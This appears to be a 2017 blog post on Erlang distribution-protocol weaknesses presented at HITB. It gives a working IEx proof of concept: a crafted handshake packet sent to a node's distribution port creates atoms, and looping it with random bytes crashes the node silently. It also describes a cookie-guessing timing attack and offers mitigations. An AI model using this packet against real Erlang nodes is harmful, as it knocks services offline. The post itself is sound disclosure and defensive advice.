Unauthorized Erlang?

Posted 2017-04-15 08:26:16.000000

At the HITB security conference in Amsterdam on Friday, Don Bailey presented some weaknesses he found in the Erlang distribution protocol last year. He reported his findings to the OTP team at the time, but the issues were not addressed yet.

I have pointed out before that Erlang distribution should not be used on an open network, but if anyone needs another reason, here’s what I’ve learned from the slide deck (I have not seen the talk)…

Atoms everywhere

In the Erlang distribution wire protocol, node names and security cookies are represented as strings, but for some reason they are represented by atoms within the BEAM. As you should know, atom space is limited, and running out of atoms is a sure way to crash the VM. Under normal use of distributed Erlang, the handful of atoms used to track nodes and cookies aren’t going to cause any issues.

But it turns out an attacker can hit the TCP port used for node-to-node communication and cause new atoms to be allocated. Eventually the VM will run out of atoms and crash. No log messages are produced in the process, so unless the administrator of the node has additional monitoring tools in place (e.g. intrusion detection on the host or in the network) there is no indication that anything is going on.

Proof-of-concept

To see this in action, open an IEx shell with a node name, to enable distributed Erlang:

$ iex --sname hitme
Erlang/OTP 19 [erts-8.3] [source] [64-bit] [smp:4:4] [async-threads:10] [hipe] [kernel-poll:false] [dtrace]

Interactive Elixir (1.4.0) - press Ctrl+C to exit (type h() ENTER for help)
iex(hitme@localhost)1> String.to_existing_atom("boom")
** (ArgumentError) argument error
    :erlang.binary_to_existing_atom("boom", :utf8)
iex(hitme@localhost)1>

As you can see, the atom :boom does not currently exist. Now we need the TCP port number of the node. We can get that from epmd:

$ epmd -names
epmd: up and running on port 4369 with data:
name hitme at port 64593

We’ll now mimic the Erlang distribution protocol handshake over TCP, so no need to assign a node name to this IEx session:

iex(1)> hostname = 'localhost'
'localhost'
iex(2)> port = 64593
64593
iex(3)> {:ok, sock} = :gen_tcp.connect(hostname, port, [:binary, packet: 2, active: false])
{:ok, #Port<0.1333>}
iex(4)> :gen_tcp.send(sock, <<?n, 5::size(16), 0x77FFF::size(32), "boom"::binary>>)
:ok
iex(5)> :gen_tcp.close(sock)
:ok
iex(6)> 

If we now check for the atom :boom in the original IEx session, we’ll see that it was indeed created:

iex(hitme@localhost)1> String.to_existing_atom("boom")
:boom

Replace the string “boom” in the TCP message with :crypto.strong_rand_bytes(32), run it in a loop and you’ll eventually crash the node.

Compromising the node?

The author also claims this approach can be used to deduce the cookie value, which would allow the attacker to remotely access the node. This is based on two assumptions:

  1. Looking up an existing atom is cheaper than creating a new one, so the response time in the handshake can give an indication of whether the node name value sent by the attacker represents a known cookie on the node being attacked
  2. The default cookie value generated by the VM, if no cookie value was specified/found, is not as random as it should be

So traversing the space of likely cookie values, sending them to the target node in the handshake as shown above, and measuring the response time can reveal potential cookie values. The attacker can then attempt a full handshake with the cookie value candidates, and perhaps hit the jackpot.

I was unable to detect a significant signal in the runtime of String.to_atom/1 to single out existing atoms, and I think any signal would likely get lost in the noise of network propagation delay for a remote attacker, so I’m sceptical about the first claim.

Still, to be on the safe side, make sure you assign cookie values with sufficient entropy (in my previous post on the topic I recommended a cookie length of 128 bits). Or use the TLS distribution protocol from the :ssl application, with mutual authentication using X.509 certificates. This will also protect your nodes from the atom exhaustion attack.


Back